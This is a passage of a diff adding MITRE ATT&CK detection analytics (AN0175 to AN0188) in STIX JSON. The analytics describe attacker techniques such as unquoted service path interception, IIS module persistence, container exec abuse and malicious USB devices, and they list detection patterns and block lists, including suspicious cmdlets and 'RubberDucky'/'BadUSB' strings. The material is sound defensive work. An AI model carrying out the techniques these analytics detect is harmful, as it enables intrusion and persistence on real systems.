{ + "field": "ScriptDir", + "description": "Script invoked from /tmp, /var/tmp, or .hidden/ folders." + }, + { + "field": "ScheduledContext", + "description": "Execution from user cron or systemd timers outside of approved scripts." + }, + { + "field": "NetworkActivity", + "description": "Python performing HTTP/HTTPS without package updates." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aff39b79-72c6-4cf9-8ddf-1332252580d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0063#AN0175", + "external_id": "AN0175" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0175", + "description": "Detects Python script or interpreter execution on ESXi hosts via embedded BusyBox shells, nested installations, or dropped files via SSH or datastore mount. Flags unusual scripting or post-compromise enumeration behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:vobd", + "channel": "/var/log/vobd.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "/var/log/hostd.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutionSource", + "description": "Script loaded from mounted datastore, SSH upload, or dropped via guest-to-host tools." + }, + { + "field": "HostUser", + "description": "Python launched under root or unknown user." + }, + { + "field": "InstallPath", + "description": "Custom Python binaries or packages in non-default paths (/tmp/python/bin/python3)." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a972f507-cf1b-4e2f-acdc-877a7891b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0064#AN0176", + "external_id": "AN0176" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0176", + "description": "Unquoted service or shortcut paths that contain spaces and allow path interception by higher-level executables. Defender observes registry service configurations with unquoted paths, file creation of executables in parent directories of unquoted paths, and subsequent process execution from unexpected locations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredServices", + "description": "List of critical services to check for unquoted paths in ImagePath registry keys." + }, + { + "field": "SuspiciousBinaryList", + "description": "Executables with names matching potential interception targets (e.g., program.exe, net.exe)." + }, + { + "field": "TimeWindow", + "description": "Correlation interval between file creation in parent directories and execution of unquoted path process." + }, + { + "field": "BaselineServiceConfig", + "description": "Known good service paths for comparison against modified or unquoted values." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ab1122c5-f459-4097-8ba7-f5a7960d2da5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0065#AN0177", + "external_id": "AN0177" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0177", + "description": "Defenders may detect abuse of container administration commands by observing anomalous use of management utilities (`docker exec`, `kubectl exec`, or API calls to kubelet) correlated with unexpected process creation inside containers. Behavioral chains include unauthorized API requests followed by command execution within running pods or containers, often originating from unusual user accounts, automation scripts, or IP addresses outside the expected cluster management plane.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "docker:daemon", + "channel": "docker exec or docker run with unexpected command/entrypoint" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "kubernetes:apiserver", + "channel": "kubectl exec or kubelet API calls targeting running pods" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedAdminUsers", + "description": "Expected admin accounts allowed to use exec commands; anomalies outside this list indicate possible abuse." + }, + { + "field": "ExecFrequencyThreshold", + "description": "Defines how often `docker exec` or `kubectl exec` is normally observed; sudden spikes may indicate adversary behavior." + }, + { + "field": "SourceIPRange", + "description": "Expected IP ranges for management actions (e.g., cluster control plane). Requests from external/unexpected ranges may indicate compromise." + }, + { + "field": "NamespaceScope", + "description": "Defines which namespaces typically allow exec operations; anomalous activity outside these may indicate lateral movement." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--12849ba4-39da-48c9-bf3d-c51a6cc3f85b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0066#AN0178", + "external_id": "AN0178" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0178", + "description": "Behavioral chain: (1) a user-facing app (browser/Office/email client) launches a URL or handles a link, then (2) the same process lineage makes an outbound connection to an untrusted domain/IP, (3) a file is downloaded or unpacked to a user-writable location shortly after the click. Optional enrichment: subsequent child execution by LOLBINs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window (e.g., 15m) between link click / first egress / file write." + }, + { + "field": "BrowserParents", + "description": "Processes considered link sources: chrome.exe, msedge.exe, firefox.exe, winword.exe, outlook.exe, teams.exe." + }, + { + "field": "UserPaths", + "description": "User-writable directories to monitor (%USERPROFILE%\\Downloads, %TEMP%, %APPDATA%\\*, OneDrive caches)." + }, + { + "field": "SuspiciousTLDs", + "description": "High-risk TLD and domain list (e.g., .top .xyz .monster; newly observed domains/NOD)." + }, + { + "field": "AllowedCDNs", + "description": "Corporate CDNs/update hosts to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bbfa2ed1-f8d5-44cf-9da8-5e3fed544172", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0066#AN0179", + "external_id": "AN0179" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0179", + "description": "Behavioral chain: (1) browser/office/GUI mail client opens a URL, (2) outbound connection to untrusted domain, (3) a new file is saved in $HOME/Downloads, /tmp, or cache immediately after.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Suspicious URL patterns, uncommon TLDs, URL shorteners" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Typical 10\u201320m between click and write." + }, + { + "field": "UserPaths", + "description": "$HOME/Downloads, /tmp, ~/.cache, ~/.local/share." + }, + { + "field": "HighRiskExtensions", + "description": "exe, elf, sh, js, py, jar, iso, img, zip, rar, xlsm, docm, xll." + }, + { + "field": "DomainRiskScore", + "description": "Heuristic or TI score threshold for domains." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3f615721-c62f-4229-9c6e-cb873b2591e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0066#AN0180", + "external_id": "AN0180" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0180", + "description": "Behavioral chain: (1) Safari/Chrome/Firefox/Office handles a URL; unified logs show open/click or LSQuarantine assignment, (2) outbound connection to untrusted domain, (3) a new file appears in ~/Downloads or /private/var/folders/* with quarantine flag.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "open URL|clicked link|LSQuarantineAttach" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Connections", + "channel": "New outbound connection from Safari/Chrome/Firefox/Word" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fsevents", + "channel": "Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "10\u201330m correlation." + }, + { + "field": "QuarantinePolicy", + "description": "Alert when com.apple.quarantine missing on newly downloaded executables." + }, + { + "field": "SuspiciousTLDs", + "description": "Org-specific risky domains/TLDs." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8d75d4b3-6748-4d1c-936c-129ee56a12a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0067#AN0181", + "external_id": "AN0181" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0181", + "description": "Execution of processes using nohup or shell redirection to ignore SIGHUP and continue running after session termination. Defender perspective: correlation between commands including nohup, disowned jobs, or `&` suffix with continued process execution after parent terminal exit.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve call including 'nohup' or trailing '&'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "process persists beyond parent shell termination" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IgnoredSignals", + "description": "Specific signals to monitor (e.g., SIGHUP, SIGINT) depending on environment baseline." + }, + { + "field": "ProcessLifetimeThreshold", + "description": "Duration a process continues running after session logout, adjustable to reduce noise from benign long-lived jobs." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--80e9341d-7ea4-4684-8f27-54566e996ce6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0067#AN0182", + "external_id": "AN0182" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0182", + "description": "PowerShell or script execution with parameters that suppress errors or ignore user interrupts, such as `-ErrorAction SilentlyContinue`. Defender perspective: detecting discrepancies between suppressed error arguments and continued execution behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredCmdlets", + "description": "List of PowerShell cmdlets where suppressed error handling is suspicious (e.g., Invoke-Expression, Invoke-WebRequest)." + }, + { + "field": "ErrorActionThreshold", + "description": "Frequency of suppressed error actions within time window that should trigger detection." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c9079261-caa7-4cfe-8be6-1359db599d27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0067#AN0183", + "external_id": "AN0183" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0183", + "description": "Use of nohup, disown, or AppleScript constructs to suppress process interrupts. Defender perspective: commands containing nohup or hidden background tasks (`osascript` with persistent execution) correlated with processes surviving user logouts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "nohup, disown, or osascript execution patterns" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "background process persists beyond user logout" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedShells", + "description": "Shells or interpreters where nohup/disown usage is suspicious, configurable to environment." + }, + { + "field": "PersistenceCorrelationWindow", + "description": "Time window to correlate process continuation after logout with suspicious commands." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--09ef4725-8e20-452d-b08c-f7db3cbee174", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0068#AN0184", + "external_id": "AN0184" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0184", + "description": "Adversary installs or modifies IIS components (ISAPI filters, extensions, or modules) using DLL files registered via configuration changes or administrative tools like AppCmd.exe. These components intercept or manipulate HTTP requests/responses for persistence or C2.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:System", + "channel": "Changes to applicationhost.config or DLLs loaded by w3wp.exe" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222", + "name": "WinEventLog:Microsoft-IIS-Configuration", + "channel": "Module or ISAPI filter registration events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Adjustable time frame for detecting chained events (e.g., config change + module load)" + }, + { + "field": "UserContext", + "description": "Scope detection to specific users or roles allowed to modify IIS components" + }, + { + "field": "WatchedPaths", + "description": "Specific directories such as %windir%\\System32\\inetsrv\\ for DLL monitoring" + }, + { + "field": "DLLNameEntropyThreshold", + "description": "Entropy or name patterns to flag suspicious DLLs registered as components" + }, + { + "field": "ParentProcessName", + "description": "Restrict to DLLs loaded by w3wp.exe or invoked via AppCmd.exe" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--61d89912-f74e-4fde-ae7a-591e8c7c5739", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0069#AN0185", + "external_id": "AN0185" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0185", + "description": "Chain: (1) a new external device is recognized by Windows (USB/Thunderbolt/PCIe) or a new block device appears; (2) within a short window, the same user/session spawns processes or the OS mounts a new volume; (3) optional follow-on activity such as HID keystroke injection, DMA driver load, or new network interface MAC on DHCP. Correlate Security EID 6416 / Kernel-PnP with sysmon and DHCP/network metadata.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Security", + "channel": "EventCode=6416" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=22" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "WinEventLog:System", + "channel": "Kernel-PnP 410/400 device install, disk added" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "wineventlog:dhcp", + "channel": "DHCP Lease Granted" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedDeviceVIDPID", + "description": "Vendor/Product IDs that are approved (e.g., keyboards, mice). Unknown/rare VID:PID raise risk." + }, + { + "field": "ExpectedBusTypes", + "description": "Allow-listed bus types for server classes (e.g., USB disabled on DCs)." + }, + { + "field": "TimeWindow", + "description": "Correlation window between device recognition and follow-on process/mount/network activity (e.g., 10m\u201360m)." + }, + { + "field": "TrustedMACs", + "description": "Known NIC/USB-NIC MAC addresses allowed by policy." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--81cd2610-bc6c-46bf-8d3c-d6e30c7f51c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0069#AN0186", + "external_id": "AN0186" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0186", + "description": "Chain: (1) udev / kernel logs show hot-plug (USB/Thunderbolt/PCIe); (2) block device created by udisks/diskarbitration; (3) optional: new network interface or DHCP lease observed. Correlate /var/log/messages|syslog, auditd SYSCALL open/creat on /dev, and DHCP/Zeek.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "auditd:SYSCALL", + "channel": "mknod,open,openat" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "usb * new|thunderbolt|pci .* added|block.*: new .* device" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "LEASE_GRANTED" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BlocklistDeviceStrings", + "description": "Indicators such as 'RubberDucky', 'BadUSB', unfamiliar USB-NIC chipsets." + }, + { + "field": "ServerClassesNoUSB", + "description": "Hosts where any USB attach should alert (DCs, hypervisors)." + }, + { + "field": "DHCPVlanScopes", + "description": "Scopes allowed to issue leases for corp endpoints vs. guest/IoT." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5bbe0089-4927-4415-bff7-14a3ba5543c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0069#AN0187", + "external_id": "AN0187" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0187", + "description": "Chain: (1) unified logs report IOUSBHost/IOThunderbolt device arrival; (2) diskarbitrationd attaches a new volume; (3) optional: config profile manipulation or new network interface MAC obtains a lease. Correlate unifiedlogs (subsystems: IOUSBHost, IOKit, diskarbitrationd), FSEvents, and DHCP/Zeek.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Device attached|enumerated VID/PID" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "macos:unifiedlog", + "channel": "mounted|appeared|DA: disk* attached" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "MAC not in allow-list acquiring IP (DHCP)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ManagedUSBPolicy", + "description": "MDM profile expectations for external media and Thunderbolt mode; deviations alert." + }, + { + "field": "KnownAppleAccessories", + "description": "VID/PID for corporate-issued docks/keyboards." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5ea048cd-f1d5-4da2-9128-10c53ee337c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0070#AN0188", + "external_id": "AN0188" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0188", + 